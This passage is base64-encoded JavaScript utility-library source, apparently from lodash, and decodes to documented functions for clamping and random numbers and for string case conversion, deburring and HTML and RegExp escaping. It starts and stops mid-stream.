BwZXIgYm91bmQuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgY2xhbXBlZCBudW1iZXIuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uY2xhbXAoLTEwLCAtNSwgNSk7XG4gICAgICogLy8gPT4gLTVcbiAgICAgKlxuICAgICAqIF8uY2xhbXAoMTAsIC01LCA1KTtcbiAgICAgKiAvLyA9PiA1XG4gICAgICovXG4gICAgZnVuY3Rpb24gY2xhbXAobnVtYmVyLCBsb3dlciwgdXBwZXIpIHtcbiAgICAgIGlmICh1cHBlciA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIHVwcGVyID0gbG93ZXI7XG4gICAgICAgIGxvd2VyID0gdW5kZWZpbmVkO1xuICAgICAgfVxuICAgICAgaWYgKHVwcGVyICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgdXBwZXIgPSB0b051bWJlcih1cHBlcik7XG4gICAgICAgIHVwcGVyID0gdXBwZXIgPT09IHVwcGVyID8gdXBwZXIgOiAwO1xuICAgICAgfVxuICAgICAgaWYgKGxvd2VyICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgbG93ZXIgPSB0b051bWJlcihsb3dlcik7XG4gICAgICAgIGxvd2VyID0gbG93ZXIgPT09IGxvd2VyID8gbG93ZXIgOiAwO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGJhc2VDbGFtcCh0b051bWJlcihudW1iZXIpLCBsb3dlciwgdXBwZXIpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgbmAgaXMgYmV0d2VlbiBgc3RhcnRgIGFuZCB1cCB0bywgYnV0IG5vdCBpbmNsdWRpbmcsIGBlbmRgLiBJZlxuICAgICAqIGBlbmRgIGlzIG5vdCBzcGVjaWZpZWQsIGl0J3Mgc2V0IHRvIGBzdGFydGAgd2l0aCBgc3RhcnRgIHRoZW4gc2V0IHRvIGAwYC5cbiAgICAgKiBJZiBgc3RhcnRgIGlzIGdyZWF0ZXIgdGhhbiBgZW5kYCB0aGUgcGFyYW1zIGFyZSBzd2FwcGVkIHRvIHN1cHBvcnRcbiAgICAgKiBuZWdhdGl2ZSByYW5nZXMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4zLjBcbiAgICAgKiBAY2F0ZWdvcnkgTnVtYmVyXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IG51bWJlciBUaGUgbnVtYmVyIHRvIGNoZWNrLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbc3RhcnQ9MF0gVGhlIHN0YXJ0IG9mIHRoZSByYW5nZS5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gZW5kIFRoZSBlbmQgb2YgdGhlIHJhbmdlLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgbnVtYmVyYCBpcyBpbiB0aGUgcmFuZ2UsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAc2VlIF8ucmFuZ2UsIF8ucmFuZ2VSaWdodFxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmluUmFuZ2UoMywgMiwgNCk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pblJhbmdlKDQsIDgpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaW5SYW5nZSg0LCAyKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqXG4gICAgICogXy5pblJhbmdlKDIsIDIpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmluUmFuZ2UoMS4yLCAyKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmluUmFuZ2UoNS4yLCA0KTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqXG4gICAgICogXy5pblJhbmdlKC0zLCAtMiwgLTYpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpblJhbmdlKG51bWJlciwgc3RhcnQsIGVuZCkge1xuICAgICAgc3RhcnQgPSB0b0Zpbml0ZShzdGFydCk7XG4gICAgICBpZiAoZW5kID09PSB1bmRlZmluZWQpIHtcbiAgICAgICAgZW5kID0gc3RhcnQ7XG4gICAgICAgIHN0YXJ0ID0gMDtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIGVuZCA9IHRvRmluaXRlKGVuZCk7XG4gICAgICB9XG4gICAgICBudW1iZXIgPSB0b051bWJlcihudW1iZXIpO1xuICAgICAgcmV0dXJuIGJhc2VJblJhbmdlKG51bWJlciwgc3RhcnQsIGVuZCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUHJvZHVjZXMgYSByYW5kb20gbnVtYmVyIGJldHdlZW4gdGhlIGluY2x1c2l2ZSBgbG93ZXJgIGFuZCBgdXBwZXJgIGJvdW5kcy5cbiAgICAgKiBJZiBvbmx5IG9uZSBhcmd1bWVudCBpcyBwcm92aWRlZCBhIG51bWJlciBiZXR3ZWVuIGAwYCBhbmQgdGhlIGdpdmVuIG51bWJlclxuICAgICAqIGlzIHJldHVybmVkLiBJZiBgZmxvYXRpbmdgIGlzIGB0cnVlYCwgb3IgZWl0aGVyIGBsb3dlcmAgb3IgYHVwcGVyYCBhcmVcbiAgICAgKiBmbG9hdHMsIGEgZmxvYXRpbmctcG9pbnQgbnVtYmVyIGlzIHJldHVybmVkIGluc3RlYWQgb2YgYW4gaW50ZWdlci5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBKYXZhU2NyaXB0IGZvbGxvd3MgdGhlIElFRUUtNzU0IHN0YW5kYXJkIGZvciByZXNvbHZpbmdcbiAgICAgKiBmbG9hdGluZy1wb2ludCB2YWx1ZXMgd2hpY2ggY2FuIHByb2R1Y2UgdW5leHBlY3RlZCByZXN1bHRzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuNy4wXG4gICAgICogQGNhdGVnb3J5IE51bWJlclxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbbG93ZXI9MF0gVGhlIGxvd2VyIGJvdW5kLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbdXBwZXI9MV0gVGhlIHVwcGVyIGJvdW5kLlxuICAgICAqIEBwYXJhbSB7Ym9vbGVhbn0gW2Zsb2F0aW5nXSBTcGVjaWZ5IHJldHVybmluZyBhIGZsb2F0aW5nLXBvaW50IG51bWJlci5cbiAgICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSByYW5kb20gbnVtYmVyLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnJhbmRvbSgwLCA1KTtcbiAgICAgKiAvLyA9PiBhbiBpbnRlZ2VyIGJldHdlZW4gMCBhbmQgNVxuICAgICAqXG4gICAgICogXy5yYW5kb20oNSk7XG4gICAgICogLy8gPT4gYWxzbyBhbiBpbnRlZ2VyIGJldHdlZW4gMCBhbmQgNVxuICAgICAqXG4gICAgICogXy5yYW5kb20oNSwgdHJ1ZSk7XG4gICAgICogLy8gPT4gYSBmbG9hdGluZy1wb2ludCBudW1iZXIgYmV0d2VlbiAwIGFuZCA1XG4gICAgICpcbiAgICAgKiBfLnJhbmRvbSgxLjIsIDUuMik7XG4gICAgICogLy8gPT4gYSBmbG9hdGluZy1wb2ludCBudW1iZXIgYmV0d2VlbiAxLjIgYW5kIDUuMlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHJhbmRvbShsb3dlciwgdXBwZXIsIGZsb2F0aW5nKSB7XG4gICAgICBpZiAoZmxvYXRpbmcgJiYgdHlwZW9mIGZsb2F0aW5nICE9ICdib29sZWFuJyAmJiBpc0l0ZXJhdGVlQ2FsbChsb3dlciwgdXBwZXIsIGZsb2F0aW5nKSkge1xuICAgICAgICB1cHBlciA9IGZsb2F0aW5nID0gdW5kZWZpbmVkO1xuICAgICAgfVxuICAgICAgaWYgKGZsb2F0aW5nID09PSB1bmRlZmluZWQpIHtcbiAgICAgICAgaWYgKHR5cGVvZiB1cHBlciA9PSAnYm9vbGVhbicpIHtcbiAgICAgICAgICBmbG9hdGluZyA9IHVwcGVyO1xuICAgICAgICAgIHVwcGVyID0gdW5kZWZpbmVkO1xuICAgICAgICB9XG4gICAgICAgIGVsc2UgaWYgKHR5cGVvZiBsb3dlciA9PSAnYm9vbGVhbicpIHtcbiAgICAgICAgICBmbG9hdGluZyA9IGxvd2VyO1xuICAgICAgICAgIGxvd2VyID0gdW5kZWZpbmVkO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpZiAobG93ZXIgPT09IHVuZGVmaW5lZCAmJiB1cHBlciA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIGxvd2VyID0gMDtcbiAgICAgICAgdXBwZXIgPSAxO1xuICAgICAgfVxuICAgICAgZWxzZSB7XG4gICAgICAgIGxvd2VyID0gdG9GaW5pdGUobG93ZXIpO1xuICAgICAgICBpZiAodXBwZXIgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgIHVwcGVyID0gbG93ZXI7XG4gICAgICAgICAgbG93ZXIgPSAwO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIHVwcGVyID0gdG9GaW5pdGUodXBwZXIpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICBpZiAobG93ZXIgPiB1cHBlcikge1xuICAgICAgICB2YXIgdGVtcCA9IGxvd2VyO1xuICAgICAgICBsb3dlciA9IHVwcGVyO1xuICAgICAgICB1cHBlciA9IHRlbXA7XG4gICAgICB9XG4gICAgICBpZiAoZmxvYXRpbmcgfHwgbG93ZXIgJSAxIHx8IHVwcGVyICUgMSkge1xuICAgICAgICB2YXIgcmFuZCA9IG5hdGl2ZVJhbmRvbSgpO1xuICAgICAgICByZXR1cm4gbmF0aXZlTWluKGxvd2VyICsgKHJhbmQgKiAodXBwZXIgLSBsb3dlciArIGZyZWVQYXJzZUZsb2F0KCcxZS0nICsgKChyYW5kICsgJycpLmxlbmd0aCAtIDEpKSkpLCB1cHBlcik7XG4gICAgICB9XG4gICAgICByZXR1cm4gYmFzZVJhbmRvbShsb3dlciwgdXBwZXIpO1xuICAgIH1cblxuICAgIC8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuICAgIC8qKlxuICAgICAqIENvbnZlcnRzIGBzdHJpbmdgIHRvIFtjYW1lbCBjYXNlXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9DYW1lbENhc2UpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgc3RyaW5nIHRvIGNvbnZlcnQuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgY2FtZWwgY2FzZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmNhbWVsQ2FzZSgnRm9vIEJhcicpO1xuICAgICAqIC8vID0+ICdmb29CYXInXG4gICAgICpcbiAgICAgKiBfLmNhbWVsQ2FzZSgnLS1mb28tYmFyLS0nKTtcbiAgICAgKiAvLyA9PiAnZm9vQmFyJ1xuICAgICAqXG4gICAgICogXy5jYW1lbENhc2UoJ19fRk9PX0JBUl9fJyk7XG4gICAgICogLy8gPT4gJ2Zvb0JhcidcbiAgICAgKi9cbiAgICB2YXIgY2FtZWxDYXNlID0gY3JlYXRlQ29tcG91bmRlcihmdW5jdGlvbihyZXN1bHQsIHdvcmQsIGluZGV4KSB7XG4gICAgICB3b3JkID0gd29yZC50b0xvd2VyQ2FzZSgpO1xuICAgICAgcmV0dXJuIHJlc3VsdCArIChpbmRleCA/IGNhcGl0YWxpemUod29yZCkgOiB3b3JkKTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIENvbnZlcnRzIHRoZSBmaXJzdCBjaGFyYWN0ZXIgb2YgYHN0cmluZ2AgdG8gdXBwZXIgY2FzZSBhbmQgdGhlIHJlbWFpbmluZ1xuICAgICAqIHRvIGxvd2VyIGNhc2UuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMy4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gY2FwaXRhbGl6ZS5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBjYXBpdGFsaXplZCBzdHJpbmcuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uY2FwaXRhbGl6ZSgnRlJFRCcpO1xuICAgICAqIC8vID0+ICdGcmVkJ1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIGNhcGl0YWxpemUoc3RyaW5nKSB7XG4gICAgICByZXR1cm4gdXBwZXJGaXJzdCh0b1N0cmluZyhzdHJpbmcpLnRvTG93ZXJDYXNlKCkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIERlYnVycnMgYHN0cmluZ2AgYnkgY29udmVydGluZ1xuICAgICAqIFtMYXRpbi0xIFN1cHBsZW1lbnRdKGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL0xhdGluLTFfU3VwcGxlbWVudF8oVW5pY29kZV9ibG9jaykjQ2hhcmFjdGVyX3RhYmxlKVxuICAgICAqIGFuZCBbTGF0aW4gRXh0ZW5kZWQtQV0oaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvTGF0aW5fRXh0ZW5kZWQtQSlcbiAgICAgKiBsZXR0ZXJzIHRvIGJhc2ljIExhdGluIGxldHRlcnMgYW5kIHJlbW92aW5nXG4gICAgICogW2NvbWJpbmluZyBkaWFjcml0aWNhbCBtYXJrc10oaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvQ29tYmluaW5nX0RpYWNyaXRpY2FsX01hcmtzKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byBkZWJ1cnIuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgZGVidXJyZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmRlYnVycignZMOpasOgIHZ1Jyk7XG4gICAgICogLy8gPT4gJ2RlamEgdnUnXG4gICAgICovXG4gICAgZnVuY3Rpb24gZGVidXJyKHN0cmluZykge1xuICAgICAgc3RyaW5nID0gdG9TdHJpbmcoc3RyaW5nKTtcbiAgICAgIHJldHVybiBzdHJpbmcgJiYgc3RyaW5nLnJlcGxhY2UocmVMYXRpbiwgZGVidXJyTGV0dGVyKS5yZXBsYWNlKHJlQ29tYm9NYXJrLCAnJyk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGBzdHJpbmdgIGVuZHMgd2l0aCB0aGUgZ2l2ZW4gdGFyZ2V0IHN0cmluZy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byBpbnNwZWN0LlxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbdGFyZ2V0XSBUaGUgc3RyaW5nIHRvIHNlYXJjaCBmb3IuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtwb3NpdGlvbj1zdHJpbmcubGVuZ3RoXSBUaGUgcG9zaXRpb24gdG8gc2VhcmNoIHVwIHRvLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgc3RyaW5nYCBlbmRzIHdpdGggYHRhcmdldGAsXG4gICAgICogIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5lbmRzV2l0aCgnYWJjJywgJ2MnKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmVuZHNXaXRoKCdhYmMnLCAnYicpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmVuZHNXaXRoKCdhYmMnLCAnYicsIDIpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBlbmRzV2l0aChzdHJpbmcsIHRhcmdldCwgcG9zaXRpb24pIHtcbiAgICAgIHN0cmluZyA9IHRvU3RyaW5nKHN0cmluZyk7XG4gICAgICB0YXJnZXQgPSBiYXNlVG9TdHJpbmcodGFyZ2V0KTtcblxuICAgICAgdmFyIGxlbmd0aCA9IHN0cmluZy5sZW5ndGg7XG4gICAgICBwb3NpdGlvbiA9IHBvc2l0aW9uID09PSB1bmRlZmluZWRcbiAgICAgICAgPyBsZW5ndGhcbiAgICAgICAgOiBiYXNlQ2xhbXAodG9JbnRlZ2VyKHBvc2l0aW9uKSwgMCwgbGVuZ3RoKTtcblxuICAgICAgdmFyIGVuZCA9IHBvc2l0aW9uO1xuICAgICAgcG9zaXRpb24gLT0gdGFyZ2V0Lmxlbmd0aDtcbiAgICAgIHJldHVybiBwb3NpdGlvbiA+PSAwICYmIHN0cmluZy5zbGljZShwb3NpdGlvbiwgZW5kKSA9PSB0YXJnZXQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ29udmVydHMgdGhlIGNoYXJhY3RlcnMgXCImXCIsIFwiPFwiLCBcIj5cIiwgJ1wiJywgYW5kIFwiJ1wiIGluIGBzdHJpbmdgIHRvIHRoZWlyXG4gICAgICogY29ycmVzcG9uZGluZyBIVE1MIGVudGl0aWVzLlxuICAgICAqXG4gICAgICogKipOb3RlOioqIE5vIG90aGVyIGNoYXJhY3RlcnMgYXJlIGVzY2FwZWQuIFRvIGVzY2FwZSBhZGRpdGlvbmFsXG4gICAgICogY2hhcmFjdGVycyB1c2UgYSB0aGlyZC1wYXJ0eSBsaWJyYXJ5IGxpa2UgW19oZV9dKGh0dHBzOi8vbXRocy5iZS9oZSkuXG4gICAgICpcbiAgICAgKiBUaG91Z2ggdGhlIFwiPlwiIGNoYXJhY3RlciBpcyBlc2NhcGVkIGZvciBzeW1tZXRyeSwgY2hhcmFjdGVycyBsaWtlXG4gICAgICogXCI+XCIgYW5kIFwiL1wiIGRvbid0IG5lZWQgZXNjYXBpbmcgaW4gSFRNTCBhbmQgaGF2ZSBubyBzcGVjaWFsIG1lYW5pbmdcbiAgICAgKiB1bmxlc3MgdGhleSdyZSBwYXJ0IG9mIGEgdGFnIG9yIHVucXVvdGVkIGF0dHJpYnV0ZSB2YWx1ZS4gU2VlXG4gICAgICogW01hdGhpYXMgQnluZW5zJ3MgYXJ0aWNsZV0oaHR0cHM6Ly9tYXRoaWFzYnluZW5zLmJlL25vdGVzL2FtYmlndW91cy1hbXBlcnNhbmRzKVxuICAgICAqICh1bmRlciBcInNlbWktcmVsYXRlZCBmdW4gZmFjdFwiKSBmb3IgbW9yZSBkZXRhaWxzLlxuICAgICAqXG4gICAgICogV2hlbiB3b3JraW5nIHdpdGggSFRNTCB5b3Ugc2hvdWxkIGFsd2F5c1xuICAgICAqIFtxdW90ZSBhdHRyaWJ1dGUgdmFsdWVzXShodHRwOi8vd29ua28uY29tL3Bvc3QvaHRtbC1lc2NhcGluZykgdG8gcmVkdWNlXG4gICAgICogWFNTIHZlY3RvcnMuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gZXNjYXBlLlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGVzY2FwZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmVzY2FwZSgnZnJlZCwgYmFybmV5LCAmIHBlYmJsZXMnKTtcbiAgICAgKiAvLyA9PiAnZnJlZCwgYmFybmV5LCAmYW1wOyBwZWJibGVzJ1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIGVzY2FwZShzdHJpbmcpIHtcbiAgICAgIHN0cmluZyA9IHRvU3RyaW5nKHN0cmluZyk7XG4gICAgICByZXR1cm4gKHN0cmluZyAmJiByZUhhc1VuZXNjYXBlZEh0bWwudGVzdChzdHJpbmcpKVxuICAgICAgICA/IHN0cmluZy5yZXBsYWNlKHJlVW5lc2NhcGVkSHRtbCwgZXNjYXBlSHRtbENoYXIpXG4gICAgICAgIDogc3RyaW5nO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEVzY2FwZXMgdGhlIGBSZWdFeHBgIHNwZWNpYWwgY2hhcmFjdGVycyBcIl5cIiwgXCIkXCIsIFwiXFxcIiwgXCIuXCIsIFwiKlwiLCBcIitcIixcbiAgICAgKiBcIj9cIiwgXCIoXCIsIFwiKVwiLCBcIltcIiwgXCJdXCIsIFwie1wiLCBcIn1cIiwgYW5kIFwifFwiIGluIGBzdHJpbmdgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgc3RyaW5nIHRvIGVzY2FwZS5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBlc2NhcGVkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5lc2NhcGVSZWdFeHAoJ1tsb2Rhc2hdKGh0dHBzOi8vbG9kYXNoLmNvbS8pJyk7XG4gICAgICogLy8gPT4gJ1xcW2xvZGFzaFxcXVxcKGh0dHBzOi8vbG9kYXNoXFwuY29tL1xcKSdcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBlc2NhcGVSZWdFeHAoc3RyaW5nKSB7XG4gICAgICBzdHJpbmcgPSB0b1N0cmluZyhzdHJpbmcpO1xuICAgICAgcmV0dXJuIChzdHJpbmcgJiYgcmVIYXNSZWdFeHBDaGFyLnRlc3Qoc3RyaW5nKSlcbiAgICAgICAgPyBzdHJpbmcucmVwbGFjZShyZVJlZ0V4cENoYXIsICdcXFxcJCYnKVxuICAgICAgICA6IHN0cmluZztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgc3RyaW5nYCB0b1xuICAgICAqIFtrZWJhYiBjYXNlXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9MZXR0ZXJfY2FzZSNTcGVjaWFsX2Nhc2Vfc3R5bGVzKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byBjb252ZXJ0LlxuICAgICAqIEByZXR1cm5zIHtzdHJpbmd9IFJldHVybnMgdGhlIGtlYmFiIGNhc2VkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5rZWJhYkNhc2UoJ0ZvbyBCYXInKTtcbiAgICAgKiAvLyA9PiAnZm9vLWJhcidcbiAgICAgKlxuICAgICAqIF8ua2ViYWJDYXNlKCdmb29CYXInKTtcbiAgICAgKiAvLyA9PiAnZm9vLWJhcidcbiAgICAgKlxuICAgICAqIF8ua2ViYWJDYXNlKCdfX0ZPT19CQVJfXycpO1xuICAgICAqIC8vID0+ICdmb28tYmFyJ1xuICAgICAqL1xuICAgIHZhciBrZWJhYkNhc2UgPSBjcmVhdGVDb21wb3VuZGVyKGZ1bmN0aW9uKHJlc3VsdCwgd29yZCwgaW5kZXgpIHtcbiAgICAgIHJldHVybiByZXN1bHQgKyAoaW5kZXggPyAnLScgOiAnJykgKyB3b3JkLnRvTG93ZXJDYXNlKCk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgc3RyaW5nYCwgYXMgc3BhY2Ugc2VwYXJhdGVkIHdvcmRzLCB0byBsb3dlciBjYXNlLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgc3RyaW5nIHRvIGNvbnZlcnQuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgbG93ZXIgY2FzZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmxvd2VyQ2FzZSgnLS1Gb28tQmFyLS0nKTtcbiAgICAgKiAvLyA9PiAnZm9vIGJhcidcbiAgICAgKlxuICAgICAqIF8ubG93ZXJDYXNlKCdmb29CYXInKTtcbiAgICAgKiAvLyA9PiAnZm9vIGJhcidcbiAgICAgKlxuICAgICAqIF8ubG93ZXJDYXNlKCdfX0ZPT19CQVJfXycpO1xuICAgICAqIC8vID0+ICdmb28gYmFyJ1xuICAgICAqL1xuICAgIHZhciBsb3dlckNhc2UgPSBjcmVhdGVDb21wb3VuZGVyKGZ1bmN0aW9uKHJlc3VsdCwgd29yZCwgaW5kZXgpIHtcbiAgICAgIHJldHVybiByZXN1bHQgKyAoaW5kZXggPyAnICcgOiAnJykgKyB3b3JkLnRvTG93ZXJDYXNlKCk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyB0aGUgZmlyc3QgY2hhcmFjdGVyIG9mIGBzdHJpbmdgIHRvIGxvd2VyIGNhc2UuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gY29udmVydC5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBjb252ZXJ0ZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmxvd2VyRmlyc3QoJ0ZyZWQnKTtcbiAgICAgKiAvLyA9PiAnZnJlZCdcbiAgICAgKlxuICAgICAqIF8ubG93ZXJGaXJzdCgnRlJFRCcpO1xuICAgICAqIC8vID0+ICdmUkVEJ1xuICAgICAqL1xuICAgIHZhciBsb3dlckZpcnN0ID0gY3JlYXRlQ2FzZUZpcnN0KCd0b0xvd2VyQ2FzZScpO1xuXG4gICAgLyoqXG4gICAgICogUGFkcyBgc3RyaW5nYCBvbiB0aGUgbGVmdCBhbmQgcmlnaHQgc2lkZXMgaWYgaXQncyBzaG9ydGVyIHRoYW4gYGxlbmd0aGAuXG4gICAgICogUGFkZGluZyBjaGFyYWN0ZXJzIGFyZSB0cnVuY2F0ZWQgaWYgdGhleSBjYW4ndCBiZSBldmVubHkgZGl2aWRlZCBieSBgbGVuZ3RoYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byBwYWQuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtsZW5ndGg9MF0gVGhlIHBhZGRpbmcgbGVuZ3RoLlxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbY2hhcnM9JyAnXSBUaGUgc3RyaW5nIHVzZWQgYXMgcGFkZGluZy5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBwYWRkZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnBhZCgnYWJjJywgOCk7XG4gICAgICogLy8gPT4gJyAgYWJjICAgJ1xuICAgICAqXG4gICAgICogXy5wYWQoJ2FiYycsIDgsICdfLScpO1xuICAgICAqIC8vID0+ICdfLWFiY18tXydcbiAgICAgK